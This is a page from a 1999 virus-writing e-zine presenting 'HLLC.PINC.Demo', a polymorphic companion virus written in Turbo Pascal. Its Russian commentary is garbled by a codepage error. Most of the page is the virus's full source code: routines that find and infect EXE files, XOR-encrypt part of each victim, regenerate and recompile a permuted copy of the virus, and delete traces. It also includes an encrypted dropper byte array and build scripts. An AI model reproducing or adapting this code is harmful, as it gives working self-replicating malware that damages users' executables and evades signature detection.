- [Duke's Virus Labs #4] - [Page 07] -

HLLC.PINC.Demo
䨧  ᪠ (Part III)
(c) by Duke/SMF

     : HLLC.PINC.Demo
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 12.01.99

   ।⠢ । pascal-孮.  ᭮ - 䨧 ;)
孮   "Permutation with INClude",  - ࠦ
  :) PINC -  ஢  ᯮ짮 INC-䠩.
   ᪠   PINC   ਬ  HLLC.PINC.Demo.
 ⮩   ᭠ ⥪  ᮢᥬ 쪨 ﬨ.
 ਫ饬   娢  室 ਥ . 
ᤥ  ⮣, ⮡       ⥫ 
(,  ᪨ ਨ   :((  ࠧ,
⪮஢       娢    ࠧ
 ;))
     孮.  砥  ᪠  ᮡ 室
⥪⮢    INC-䠩  ४樨 . । ⨬ 
⥪       砥 INC-䠩
६訢  ⨯ .  ⮣ 砥 騩 ,
 ண ࠧ砥   稭 ( ⫨稥  ਢ  
䨪,   ᢮ ⥫).   䨧 
⮩ (襩 ;) ⥯ 䭮. ᪮  Turbo
Pascal ᠬ  ᥡ  ⨪/䨪,  砥
 騥 १. ᯮ 20-25 INC-䠩   
 ᯥ᪮ 8-))
     ᮤন .  筮 ⥭쪨 쮭-.
  ⥬,   EXE-䠩   2500 ; २뢠
  DAT-䠩;  2000   業  (⮯ 㥬
 ࠧ砥  䠩  䠩  뢠  㫥)  20-
箬; ,  ஢뢠  ᢮   ⥬  箬
( ࠧ  ;)  뢠  EXE-䠩.   !  
-...
    ⥯  ⮬,  祣 㦥   inc-䠩 :
s0.inc - ᠭ ६, ⠭,  楤  ४⨢ forward
s1.inc - proc. Infect - ࠦ । 
s2.inc - proc. FindFile -  
s3.inc - proc. MakeInc - ᮧ  ᪥ INC-䠩
s4.inc - proc. MakePas - ᮧ   PAS-䠩
s5.inc - proc. Start -  ࠡ 楤
s6.inc - func. DetectComp - ஢ઠ  ஢
s7.inc - proc. Demon -  
s8.inc - proc. Crypt - ஢ ᪠ 
sd.inc - ᨢ  ஢ 䠩 sd.com
sk.inc - ᨢ  箬  ஢

 s0.inc - s8.inc  ᪠  ᮡ   ஢ SFX
娢 (䠩 sd.inc).  sd.inc  sk.inc  ࠧ  
楤ன MakeInc.  sk.inc ।⠢ ᮡ ﭭ 騩
20- ,   ண  ࠦ 䠩  ᨢ Dr
(ᮤন 䠩 sd.inc).  ⮬ ᨢ Dr 㦥  ᯮ짮 
⢥ ᨣ.

   ᫨ ꥤ 孮 TRANS  PINC,     ⮢,
  宩 .   㦥 㣠 ...
    ⥯ ᮡ⢥ 室 ⥩ ਠ  HLLC.PINC.Demo:

===== begin s0.inc =====
{$M 6000, 4000, 6000}
{$I-,S-}
const dr:array[1..DropLen] of byte = {$I sd.inc};
      OldKey:array[1..20] of byte = ({$I sk.inc});
var Command,Compile:string;
    Dummy:byte;
    a:dirstr;
    b:namestr;
    c:extstr;
    NewKey :array[1..20] of byte;
procedure Infect(st:string);forward;
procedure FindFile;forward;
procedure MakeInc;forward;
procedure MakePas;forward;
procedure Start;forward;
function DetectComp:boolean;forward;
procedure Demon;forward;
procedure Crypt(n:string;typ:byte);forward;
===== end   s0.inc =====

===== begin s1.inc =====
procedure Infect(st:string);
var k:string;
    f:file;
begin
fsplit(st,a,b,c);
k:=a+b+'.dat';
assign(f,k);{$I-}reset(f);{$I+}
if ioresult=0 then begin close(f);exit;end; {㦥 ஢}
MakePas;       {稫 sf.exe}
assign(f,st);
rename(f,k);
Crypt(k,1);
assign(f,'sf.exe');
rename(f,st);
end;
===== end   s1.inc =====

===== begin s2.inc =====
procedure FindFile;
var s:searchrec;
begin
findfirst('*.exe',$21,s);
while doserror=0 do
  begin
  if s.size>2500 then Infect(s.name);
  findnext(s);
  end;
end;
===== end   s2.inc =====

===== begin s3.inc =====
procedure MakeInc;
var d:file;
    i,j:integer;
    t,k:text;
    Dropper:array[1..DropLen] of byte;
begin
j:=1;
for i:=1 to DropLen do
  begin
  Dropper[i]:=dr[i] xor OldKey[j];
  if j=20 then j:=1 else inc(j);
  end;
assign(d,'sd.com');rewrite(d,DropLen);
blockwrite(d,Dropper,1);
close(d);
exec('sd.com','');  {ᮧ s?.inc}
assign(k,'sk.inc'); {ᮧ sk.inc : }
rewrite(k);
for i:=1 to 19 do
  begin
  NewKey[i]:=random(256);
  write(k,NewKey[i],',');
  end;
NewKey[20]:=random(256);
write(k,NewKey[20]);
close(k);
assign(t,'sd.inc'); {ᮧ sd.inc : }
rewrite(t);
j:=1;
write(t,'(');
for i:=1 to DropLen do
  begin
  write(t,Dropper[i] xor NewKey[j]);
  if i<>DropLen then write(t,',');
  if j=20 then begin writeln(t,'');j:=1;end else inc(j);
  end;
write(t,')');
close(t);
end;
===== end   s3.inc =====

===== begin s4.inc =====
procedure MakePas;
const nic=8; {- .䠩}
var t:text;
    a,i,j,k,l:byte;
    m:array[1..nic] of byte;
    st:string;
    f:text;
label lab;
begin
assign(t,'sf.pas');rewrite(t);
writeln(t,'uses dos;');
writeln(t,'const DropLen=',DropLen,';');
writeln(t,'var Fake:boolean;');
{ randomize;  }
for i:=1 to nic do m[i]:=0;
writeln(t,'{$I s0.inc}');
for i:=1 to nic do { - 砥 䠩}
  begin
lab:
  a:=random(nic)+1;
  if m[a]=0 then
    begin
    m[a]:=1;
    for j:=1 to random(3)+1 do {ᮧ 誨}
      begin
      inc(Dummy);
      str(Dummy+10,st);
      assign(f,'s'+st+'.inc');
      rewrite(f);
      writeln(f,'procedure s'+st+';assembler;');
      writeln(f,'asm');
      writeln(f,'jmp @');
      for k:=1 to random(10)+1 do  {- ப}
        begin
        write(f,'db ');
        for l:=1 to random(20)+1 do write(f,random(256),',');
        writeln(f,random(256));
        end;
      writeln(f,'@:');
      writeln(f,'end;');
      close(f);
      writeln(t,'{$I s',Dummy+10,'.inc}');
      end;
    end
  else goto lab;
  writeln(t,'{$I s',a,'.inc}');
  end;
writeln(t,'begin');
writeln(t,'Start;');
writeln(t,'Fake:=false;');
writeln(t,'if Fake then');
writeln(t,'  begin');
for i:=1 to Dummy do writeln(t,'  s',i+10,';');
writeln(t,'  end;');
writeln(t,'end.');
close(t);
exec(Command,'/c '+Compile+' sf.pas>nul');
Dummy:=0;
end;
===== end   s4.inc =====

===== begin s5.inc =====
procedure Start;
var g,par:string;
    s:searchrec;
    i:byte;
begin
Command:=GetEnv('COMSPEC');
fsplit(paramstr(0),a,b,c);
g:=a+b+'.dat';
findfirst(g,$3F,s);
if doserror=0 then { }
  begin
  par:='';
  for i:=1 to paramcount do par:=par+paramstr(i)+' ';
  Crypt(g,0);
  exec(g,par);
  Crypt(g,0);
  end;
Dummy:=0;
randomize;
MakeInc;
if DetectComp then FindFile else exit;
exec(Command,'/c del s*.inc>nul');{⠥ ᫥}
exec(Command,'/c del s?.*>nul');
Demon; { }
end;
===== end   s5.inc =====

===== begin s6.inc =====
function DetectComp:boolean;
begin
DetectComp:=false;
Compile:='tpc.exe';
exec(Command,'/c '+Compile+'>nul');
if doserror<>0 then
  begin
  Compile:='bpc.exe';
  exec(Command,'/c '+Compile+'>nul');
  if doserror=0 then DetectComp:=true;
  end
else DetectComp:=true;
end;
===== end   s6.inc =====

===== begin s7.inc =====
procedure Demon;
var dy,dm,dd,dw:word;
begin
GetDate(dy,dm,dd,dw);
if (dm=2) and (dd=20) then
  begin
  writeln('* This is demo virus for PINC technology ! *');
  writeln('Created (c) by  Duke/SMF  special for DVL #4');
  writeln(' PINC - one of the best polimorphic viruses ');
  end;
end;
===== end   s7.inc =====

===== begin s8.inc =====
procedure Crypt(n:string;typ:byte);
const CS=2000;
var c:file;                          {㥬 䠩}
    attr:word;                       {ਡ 䠩}
    t:array[1..CS] of byte;          {㥬 ᨢ}
    ch:byte;
    i,j:integer;
begin
assign(c,n);
getfattr(c,attr);                    {࠭塞 ਡ}
setfattr(c,$20);
reset(c,1);
seek(c,200);                         {ਪ뢠 ந᪨ ᨫ}
blockread(c,ch,1);                   {  ᫥ 砫쭮 }
for i:=1 to 10 do                    { 樨 ஢ }
  begin
  seek(c,ch);
  blockread(c,ch,1);
  end;
seek(c,ch+400);
blockread(c,t,CS);                   {⠥ ᮪  ।}
j:=1;
for i:=1 to CS do                    {㥬  ᮪}
   begin
   if typ=0 then t[i]:=t[i] xor OldKey[j]  { ᪥}
            else t[i]:=t[i] xor NewKey[j]; { ࠦ}
   if j=20 then j:=1 else inc(j);
   end;
seek(c,ch+400);
blockwrite(c,t,CS);                  {뢠 ᮪}
close(c);
setfattr(c,attr);                    {頥 ਡ}
end;
===== end   s8.inc =====

===== begin sd.inc =====
(80,184,79,42,186,172,9,59,196,115,121,139,196,45,66,3,37,240,255,139,
248,185,161,0,190,142,1,252,243,165,139,216,177,4,211,235,140,217,3,217,
83,51,219,83,203,144,51,1,80,75,76,73,84,69,32,67,111,112,114,46,
32,49,57,57,48,45,49,57,57,53,32,80,75,87,65,82,69,32,73,110,
99,46,32,65,108,108,32,82,105,103,104,116,115,32,82,101,115,101,114,118,
101,100,78,111,116,32,101,110,111,117,103,104,32,109,101,109,111,114,121,36,
32,32,32,32,32,32,32,32,32,32,32,32,184,0,9,186,102,1,205,33,
205,32,253,139,248,79,79,190,206,2,3,242,139,202,209,233,243,165,252,135,
247,70,70,191,0,1,173,149,186,16,0,235,50,144,173,149,178,16,235,59,
173,149,178,16,235,60,173,149,178,16,235,65,173,149,178,16,235,99,173,149,
178,16,235,100,173,149,178,16,235,101,173,149,178,16,235,102,173,149,178,16,
114,8,164,209,237,74,116,244,115,248,51,201,51,219,209,237,74,116,191,209,
211,209,237,74,116,190,209,211,133,219,116,23,209,237,74,116,185,209,211,128,
251,6,114,11,209,237,74,117,4,173,149,178,16,209,211,46,138,143,27,1,
128,249,10,116,58,51,219,131,249,2,116,38,209,237,74,116,151,114,31,209,
237,74,116,150,209,211,209,237,74,116,149,209,211,209,237,74,116,148,209,211,
128,251,2,115,30,46,138,191,43,1,172,138,216,86,139,247,43,243,243,164,
94,235,136,172,2,200,128,213,0,60,255,117,188,235,51,209,237,74,117,4,
173,149,178,16,209,211,128,251,8,114,210,209,237,74,117,4,173,149,178,16,
209,211,128,251,23,114,194,209,237,74,117,4,173,149,178,16,209,211,129,227,
223,0,134,223,235,180,88,6,187,0,1,83,51,219,139,203,139,211,139,235,
139,243,139,251,203,3,0,2,10,4,5,0,0,0,0,0,0,6,7,8,
9,1,2,0,0,3,4,5,6,0,0,0,0,0,0,0,0,7,8,9,
10,11,12,13,0,80,186,174,1,232,138,0,185,7,2,144,186,181,128,162,
10,139,0,186,188,3,232,122,16,56,1,148,130,16,195,10,123,16,251,4,
232,106,162,160,16,170,0,16,2,5,232,107,148,162,16,172,6,90,16,62,
3,148,130,16,179,10,91,16,241,8,232,74,162,148,16,164,5,16,248,10,
75,130,146,16,156,14,232,58,16,14,74,65,80,163,10,59,16,177,16,232,
42,73,165,16,26,80,184,10,43,160,164,16,210,17,232,26,16,44,16,217,
82,80,10,27,16,5,19,232,10,148,2,16,67,4,16,12,10,11,0,180,
60,0,80,185,0,0,205,33,163,172,1,195,180,64,139,30,197,169,7,12,
180,62,8,195,0,64,25,115,48,46,105,110,99,0,123,36,77,32,54,48,
97,79,1,44,32,52,6,12,20,72,125,13,10,23,73,45,44,83,45,10,
0,0,99,111,110,115,116,32,100,114,58,97,114,114,97,121,91,49,0,0,
46,46,68,114,111,112,76,101,110,93,32,111,102,32,98,121,144,152,116,101,
32,61,32,47,32,115,100,148,13,81,125,59,51,32,1,79,108,100,116,186,
75,101,121,0,55,50,48,2,50,40,109,75,51,107,51,41,52,5,32,118,
40,32,67,111,109,109,97,110,100,44,65,41,8,112,105,108,101,58,120,114,
31,55,85,103,81,68,117,29,243,6,78,62,17,97,58,100,105,121,3,114,
35,15,98,58,110,97,109,29,116,101,0,16,99,58,101,120,116,0,15,164,
158,78,101,119,142,32,11,143,10,20,35,112,212,99,101,100,117,114,155,73,
160,238,110,102,101,99,116,40,58,127,130,210,157,102,111,114,119,55,100,149,
170,3,38,70,26,100,4,164,14,165,11,29,77,97,107,101,71,99,163,83,
15,28,80,97,115,11,28,83,116,58,5,18,116,1,26,102,117,69,116,105,
111,69,14,110,252,101,116,148,64,209,23,58,98,111,111,118,97,110,139,14,
11,64,39,109,111,12,26,67,114,121,229,129,112,212,110,82,116,90,232,14,
74,0,44,54,220,115,49,14,18,28,208,7,164,107,128,129,4,150,102,58,
102,6,66,37,13,98,101,103,22,179,115,76,96,112,108,105,55,44,97,44,
98,44,99,22,0,54,50,61,97,43,98,43,39,46,100,97,178,0,116,39,
16,253,115,105,103,110,40,102,106,80,44,107,30,103,125,169,218,110,115,224,
16,130,168,14,43,114,105,102,32,245,4,192,21,117,108,116,61,48,32,116,
104,101,110,32,134,154,94,32,99,108,111,42,84,41,41,101,120,100,5,110,
183,0,0,32,123,227,166,165,32,168,173,228,168,230,168,224,174,162,160,249,
224,173,63,98,96,1,134,34,175,174,171,227,231,64,209,168,171,168,32,115,
102,46,57,101,125,107,214,1,130,167,161,107,224,89,58,145,7,160,14,43,
107,44,49,41,59,245,2,172,39,61,39,3,48,115,210,63,136,115,50,240,
241,5,63,32,0,85,54,115,58,185,148,134,7,99,104,26,99,1,44,52,
136,36,102,195,40,39,42,13,53,93,44,36,50,49,85,73,82,84,119,104,
60,32,100,239,114,9,212,83,114,6,11,192,93,112,57,1,10,9,35,115,
46,155,122,101,184,240,62,50,53,48,36,192,156,178,46,158,129,20,69,158,
98,110,98,215,7,40,85,16,188,245,171,177,51,5,177,135,167,180,176,100,
7,3,215,80,202,66,105,44,106,58,45,116,124,101,35,80,77,116,44,107,
58,245,72,16,88,155,40,77,17,112,101,17,123,49,34,0,244,74,61,49,
88,149,218,213,87,197,221,11,74,111,32,45,111,148,6,227,85,91,105,93,
40,100,73,30,7,32,120,53,10,23,85,91,106,93,59,112,97,7,106,61,
50,0,22,149,91,226,108,115,204,244,11,218,40,106,2,242,2,32,199,100,
199,100,46,99,111,109,80,168,199,243,119,114,105,154,188,39,20,128,48,98,
232,121,108,111,99,107,2,24,129,240,160,9,123,100,5,234,240,120,101,95,
173,12,73,82,76,2,176,101,225,174,167,164,160,165,172,32,115,63,244,151,
210,115,107,75,103,115,229,39,223,200,0,38,19,32,58,32,41,119,177,137,
125,129,134,2,24,49,57,6,19,67,23,196,132,21,18,114,40,127,40,156,
183,50,53,54,232,68,44,191,104,35,120,44,39,2,184,67,3,25,123,207,
246,6,61,5,59,34,174,137,0,241,107,1,5,116,133,174,62,7,203,100,
47,185,8,203,23,112,23,234,18,60,40,26,222,39,41,28,249,50,198,133,
0,1,250,27,15,159,106,93,41,240,46,251,105,60,62,67,254,111,1,107,
250,227,161,3,31,219,206,67,36,108,205,37,29,104,164,32,13,252,105,55,
81,41,39,0,248,164,19,244,104,50,6,115,52,9,69,244,9,123,32,0,
54,110,105,99,61,56,45,170,174,171,0,0,45,162,174,32,175,174,164,170,
171,238,231,46,228,160,169,171,28,162,174,162,125,107,116,9,33,2,74,97,
44,208,92,109,44,107,44,108,2,233,109,147,108,0,89,81,2,50,63,85,
30,251,236,162,146,166,200,80,108,97,243,108,32,6,38,13,0,126,1,168,
38,202,102,46,112,14,1,62,30,8,116,11,80,134,30,117,235,115,210,207,
129,59,39,5,25,218,11,60,121,61,39,82,125,63,25,7,42,10,124,222,
70,18,190,57,180,33,123,32,24,26,127,189,162,49,57,125,4,19,179,22,
224,117,242,245,21,228,48,4,79,87,212,49,181,125,120,135,7,75,56,89,
240,236,32,108,227,32,136,108,163,235,229,32,15,31,113,3,166,103,23,58,
15,97,79,18,14,67,41,43,15,139,49,56,130,97,93,203,175,125,248,208,
95,159,32,62,184,28,221,144,238,112,135,106,135,91,238,75,51,73,143,71,
0,37,175,227,225,226,235,232,60,169,170,168,125,28,91,92,1,78,32,120,
209,151,222,41,2,103,60,210,19,185,252,73,48,103,108,78,25,1,145,39,
43,69,56,25,86,228,125,145,32,160,63,207,102,0,19,200,198,67,52,0,
170,91,66,62,59,80,101,109,98,108,152,94,218,39,11,50,58,232,32,109,
12,25,106,109,112,32,64,1,3,26,27,7,107,4,234,194,7,187,8,39,
224,1,225,226,224,174,170,67,195,5,5,7,35,137,250,93,100,98,32,126,
234,1,91,93,108,4,222,183,93,50,93,53,105,211,1,213,0,2,222,251,
6,183,1,37,2,33,33,157,207,7,228,64,58,62,251,12,252,47,1,26,
23,251,151,6,43,195,144,181,37,7,26,204,39,0,123,46,192,6,123,10,
29,74,123,139,103,111,30,210,234,187,245,166,10,79,97,4,72,1,231,66,
174,39,88,147,35,6,143,247,37,94,6,22,200,30,161,61,102,97,118,7,
28,50,151,8,31,244,11,6,6,28,205,230,189,8,213,234,135,55,152,44,
237,126,180,105,255,7,100,246,212,190,6,22,20,46,108,132,7,116,120,167,
2,35,39,47,99,32,39,87,197,43,41,43,39,32,161,176,208,62,110,117,
108,143,186,55,45,244,50,66,171,205,14,53,5,171,28,70,14,131,103,44,
105,214,60,114,4,70,210,18,4,177,166,45,222,58,4,202,5,0,138,101,
71,101,116,69,110,118,40,39,67,79,77,56,112,83,80,69,67,18,148,100,
7,87,97,109,8,173,204,48,41,0,104,165,16,103,5,16,229,194,0,7,
136,36,51,70,145,3,1,45,45,123,1,254,71,40,193,123,167,160,72,170,
128,22,32,166,165,224,226,162,235,125,3,38,142,52,192,61,39,39,212,176,
245,1,142,193,192,129,99,111,117,110,116,147,78,63,38,5,43,152,105,129,
243,41,60,55,200,229,248,131,48,226,192,84,110,130,190,25,41,11,31,208,
208,86,1,103,236,40,0,213,71,206,130,76,199,86,207,0,188,199,167,28,
26,92,165,233,202,65,56,9,220,100,187,115,3,23,42,180,18,195,212,254,
172,165,226,96,118,77,225,171,165,164,255,12,52,52,174,63,46,42,0,6,
22,14,16,22,224,174,239,5,128,162,54,173,168,239,32,162,168,224,227,225,
160,125,171,88,5,54,108,237,21,18,103,67,191,239,1,28,100,113,46,3,
117,96,168,61,39,116,112,99,149,198,194,21,167,191,129,154,1,223,60,62,
230,31,0,103,186,126,208,0,90,98,0,90,161,47,149,22,92,111,236,192,
6,61,2,240,32,191,116,114,117,101,197,7,250,176,135,9,31,130,38,33,
55,5,7,174,54,82,10,85,36,121,44,100,109,3,96,117,137,100,119,58,
119,111,119,8,113,192,18,68,163,244,97,68,0,34,187,64,245,19,109,61,
50,41,32,166,72,191,11,100,250,163,156,41,8,252,0,41,7,39,42,32,
84,104,105,115,32,3,100,81,22,119,32,118,105,153,115,161,10,222,80,73,
78,67,56,177,104,110,0,52,111,108,111,103,121,32,33,32,42,39,41,3,
163,50,43,39,67,173,130,21,99,102,99,98,98,121,0,66,62,107,101,47,
83,77,70,20,54,218,112,57,105,97,108,73,68,208,79,86,76,32,35,52,
6,60,96,202,72,45,32,234,101,153,17,108,161,157,149,66,244,112,110,105,
136,114,112,104,196,29,109,141,73,107,34,39,7,26,90,89,56,5,51,15,
255,100,123,37,2,92,67,83,8,48,48,112,52,86,99,122,29,136,32,15,
1,123,232,168,228,224,227,104,197,215,169,215,43,84,78,237,29,232,95,134,
14,0,219,55,160,226,224,168,161,227,226,235,54,160,173,229,55,116,0,91,
106,185,135,0,90,3,55,11,110,172,160,225,225,168,162,57,99,45,183,104,
2,162,4,174,101,34,4,109,86,43,99,44,91,27,102,78,116,102,165,16,
7,61,18,41,11,168,49,229,8,121,224,160,173,239,230,83,199,175,112,115,
0,59,36,50,48,209,143,130,193,209,50,99,138,12,155,11,101,107,12,104,
8,68,41,16,55,165,48,4,168,170,247,164,235,162,20,0,67,163,165,224,
174,168,231,165,225,170,168,136,129,165,32,227,225,28,239,125,171,5,253,101,
205,55,100,77,223,92,142,80,10,72,32,164,171,70,56,20,235,231,168,225,
81,173,160,64,203,231,160,171,236,173,174,169,6,172,216,203,49,48,251,17,
3,10,67,175,174,167,176,168,3,99,32,92,200,102,181,71,10,119,29,213,
217,140,236,141,100,8,160,0,63,124,122,43,43,52,48,48,221,13,202,45,
116,44,67,189,150,83,12,205,198,1,80,82,170,227,225,174,170,32,168,167,
32,225,48,91,134,165,164,168,173,136,9,95,253,169,70,14,210,34,56,37,
32,237,226,174,226,15,182,78,39,0,20,18,224,252,124,212,250,142,116,42,
90,224,116,7,127,192,213,168,32,225,90,233,165,1,94,105,41,32,104,255,
169,5,58,58,47,21,59,58,224,2,87,160,166,152,105,67,106,24,32,195,
145,19,64,27,70,91,16,65,224,224,146,168,225,83,123,68,246,177,7,27,
99,153,24,65,209,243,123,162,174,167,162,180,233,160,56,27,4,243,150,255)
===== end   sd.inc =====

===== begin sk.inc =====
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
===== end   sk.inc =====

===== begin pincdemo.pas =====
uses dos;
const DropLen=2940;
{$I s0.inc}
{$I s1.inc}
{$I s2.inc}
{$I s3.inc}
{$I s4.inc}
{$I s5.inc}
{$I s6.inc}
{$I s7.inc}
{$I s8.inc}
begin
Start
end.
===== end   pincdemo.pas =====

===== begin make.bat =====
dat2asm.exe 2 make.txt sd.asm
tasm sd.asm
tlink sd.obj /t
del sd.obj
del sd.map
pklite sd.com
opt2inc.exe sd.com sd.inc
===== end   make.bat =====

===== begin make.txt =====
s0.inc
s1.inc
s2.inc
s3.inc
s4.inc
s5.inc
s6.inc
s7.inc
s8.inc
===== end   make.txt =====

   !
